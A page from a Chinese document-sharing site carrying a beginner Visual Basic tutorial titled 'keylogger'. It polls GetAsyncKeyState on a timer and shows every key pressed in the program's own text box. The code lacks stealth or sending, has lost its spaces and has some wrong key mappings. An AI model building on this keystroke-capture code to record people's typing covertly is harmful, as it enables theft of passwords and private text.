键盘记录器.docx

上传人:b****1 文档编号:1172233 上传时间:2023-04-30 格式:DOCX 页数:12 大小:15.35KB
下载 相关 举报
键盘记录器.docx_第1页
第1页 / 共12页
键盘记录器.docx_第2页
第2页 / 共12页
键盘记录器.docx_第3页
第3页 / 共12页
键盘记录器.docx_第4页
第4页 / 共12页
键盘记录器.docx_第5页
第5页 / 共12页
键盘记录器.docx_第6页
第6页 / 共12页
键盘记录器.docx_第7页
第7页 / 共12页
键盘记录器.docx_第8页
第8页 / 共12页
键盘记录器.docx_第9页
第9页 / 共12页
键盘记录器.docx_第10页
第10页 / 共12页
键盘记录器.docx_第11页
第11页 / 共12页
键盘记录器.docx_第12页
第12页 / 共12页
亲,该文档总共12页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

键盘记录器.docx

《键盘记录器.docx》由会员分享,可在线阅读,更多相关《键盘记录器.docx(12页珍藏版)》请在冰点文库上搜索。

键盘记录器.docx

键盘记录器

前几天写了一篇键盘记录器,好多人反映看不懂,

对新人没什么用处,所以且这篇我会写的

很详细,再也不像那篇,出了代码什么也没^!

^

这个程序将会详细的讲解如何记载键盘的每一次输入。

下面介绍的这个程序主要是利用GetAsyncKeyState函数,

使用GetAsyncKeyState可以获得键盘的动作。

GetAsyncKeyState函数根据虚拟键表判断按键的类型。

返回值为一个16位的二进值数,如果被按下则最高位为1,

即返回-32767。

下面是API函数及鼠标中左右键在虚拟键表中的定义:

PrivateDeclareFunctionGetAsyncKeyStateLib"user32"(ByValvKeyAsLong)AsInteger

好了,函数就先介绍这么多,下面开始动手实战了

first,当然是创建窗口了

在时间控件的Timer时间中定义检查按键类型,代码如下:

DimAddKey

KeyResult=GetAsyncKeyState(13)'回车键

IfKeyResult=-32767Then

AddKey="[ENTER]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(17)'Ctrl键

IfKeyResult=-32767Then

AddKey="[CTRL]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(8)'退格键

IfKeyResult=-32767Then

AddKey="[BKSPACE]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(9)

IfKeyResult=-32767Then

AddKey="[TAB]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(18)

IfKeyResult=-32767Then

AddKey="[ALT]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(19)

IfKeyResult=-32767Then

AddKey="[PAUSE]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(20)

IfKeyResult=-32767Then

AddKey="[CAPS]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(27)

IfKeyResult=-32767Then

AddKey="[ESC]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(33)

IfKeyResult=-32767Then

AddKey="[PGUP]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(34)

IfKeyResult=-32767Then

AddKey="[PGDN]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(35)

IfKeyResult=-32767Then

AddKey="[END]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(36)

IfKeyResult=-32767Then

AddKey="[HOME]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(44)

IfKeyResult=-32767Then

AddKey="[SYSRQ]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(45)

IfKeyResult=-32767Then

AddKey="[INS]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(46)

IfKeyResult=-32767Then

AddKey="[DEL]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(144)

IfKeyResult=-32767Then

AddKey="[NUM]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(37)

IfKeyResult=-32767Then

AddKey="[LEFT]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(38)

IfKeyResult=-32767Then

AddKey="[UP]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(39)

IfKeyResult=-32767Then

AddKey="[RIGHT]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(40)

IfKeyResult=-32767Then

AddKey="[DOWN]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(112)

IfKeyResult=-32767Then

AddKey="[F1]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(113)

IfKeyResult=-32767Then

AddKey="[F2]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(114)

IfKeyResult=-32767Then

AddKey="[F3]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(115)

IfKeyResult=-32767Then

AddKey="[F4]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(116)

IfKeyResult=-32767Then

AddKey="[F5]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(117)

IfKeyResult=-32767Then

AddKey="[F6]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(118)

IfKeyResult=-32767Then

AddKey="[F7]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(119)

IfKeyResult=-32767Then

AddKey="[F8]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(120)

IfKeyResult=-32767Then

AddKey="[F9]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(121)

IfKeyResult=-32767Then

AddKey="[F10]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(122)

IfKeyResult=-32767Then

AddKey="[F11]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(123)

IfKeyResult=-32767Then

AddKey="[F12]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(124)

IfKeyResult=-32767Then

AddKey="[F13]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(125)

IfKeyResult=-32767Then

AddKey="[F14]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(126)

IfKeyResult=-32767Then

AddKey="[F15]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(127)

IfKeyResult=-32767Then

AddKey="[F16]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(32)

IfKeyResult=-32767Then

AddKey=""

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(186)

IfKeyResult=-32767Then

AddKey=";"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(187)

IfKeyResult=-32767Then

AddKey="="

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(188)

IfKeyResult=-32767Then

AddKey=","

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(189)

IfKeyResult=-32767Then

AddKey="-"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(190)

IfKeyResult=-32767Then

AddKey="."

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(191)

IfKeyResult=-32767Then

AddKey="/"'/

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(192)

IfKeyResult=-32767Then

AddKey="`"'`

GoToKeyFound

EndIf

'----------NUMPAD

KeyResult=GetAsyncKeyState(96)

IfKeyResult=-32767Then

AddKey="0"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(97)

IfKeyResult=-32767Then

AddKey="1"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(98)

IfKeyResult=-32767Then

AddKey="2"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(99)

IfKeyResult=-32767Then

AddKey="3"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(100)

IfKeyResult=-32767Then

AddKey="4"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(101)

IfKeyResult=-32767Then

AddKey="5"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(102)

IfKeyResult=-32767Then

AddKey="6"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(103)

IfKeyResult=-32767Then

AddKey="7"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(104)

IfKeyResult=-32767Then

AddKey="8"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(105)

IfKeyResult=-32767Then

AddKey="9"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(106)

IfKeyResult=-32767Then

AddKey="*"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(107)

IfKeyResult=-32767Then

AddKey="+"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(108)

IfKeyResult=-32767Then

AddKey="[ENTER]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(109)

IfKeyResult=-32767Then

AddKey="-"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(110)

IfKeyResult=-32767Then

AddKey="."

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState

(2)

IfKeyResult=-32767Then

AddKey="/"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(220)

IfKeyResult=-32767Then

AddKey="\"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(222)

IfKeyResult=-32767Then

AddKey="'"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(221)

IfKeyResult=-32767Then

AddKey="]"

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(219)

IfKeyResult=-32767Then

AddKey="["

GoToKeyFound

EndIf

KeyResult=GetAsyncKeyState(16)'shift键

IfKeyResult=-32767AndTimeOut=0Then

AddKey="[SHIFT]"

LastKey=AddKey

TimeOut=1

GoToKeyFound

EndIf

KeyLoop=41

DoUntilKeyLoop=256'显示其他键

KeyResult=GetAsyncKeyState(KeyLoop)

IfKeyResult=-32767ThenText1.Text=Text1.Text+Chr(KeyLoop)

KeyLoop=KeyLoop+1

Loop

LastKey=AddKey

ExitSub

KeyFound:

'显示键的信息

Text1=Text1&AddKey

EndSub

上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……

由于数目太多,一一列举不方便

现提供Ascii表一份供对照

下面是其他的事件

PrivateSubTimer2_Timer()

TimeOut=0

EndSub

目的是随时刷新清空

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 人文社科 > 法律资料

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2